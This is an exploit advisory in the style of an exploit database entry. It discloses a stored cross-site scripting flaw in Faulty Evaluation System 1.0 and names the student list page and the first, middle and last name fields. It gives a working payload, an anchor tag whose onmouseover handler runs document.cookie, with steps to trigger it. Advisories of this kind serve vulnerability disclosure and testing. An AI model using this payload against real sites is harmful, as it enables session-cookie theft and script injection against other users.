Faulty Evaluation System 1.0 - 'multiple' Stored Cross-Site Scripting

# Exploit Title: Faulty Evaluation System 1.0 - 'multiple' Stored Cross-Site Scripting
# Date: 2021-02-16
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14710/faulty-evaluation-system-using-phpcodeigniter-source-code.html
# Software: Faulty Evaluation System 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

# Vulnerable Page: http://localhost/evaluation/student/list
# Vulnerable functionality: 'Student'
# Vulnerable Input Field : {Firtstname} {Lastname} {Middle Name}
# Payload used:

<a onmouseover="alert(document.cookie)">xxs link</a>

# POC: Whenever we will go to the page (
http://localhost/evaluation/student/list) where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.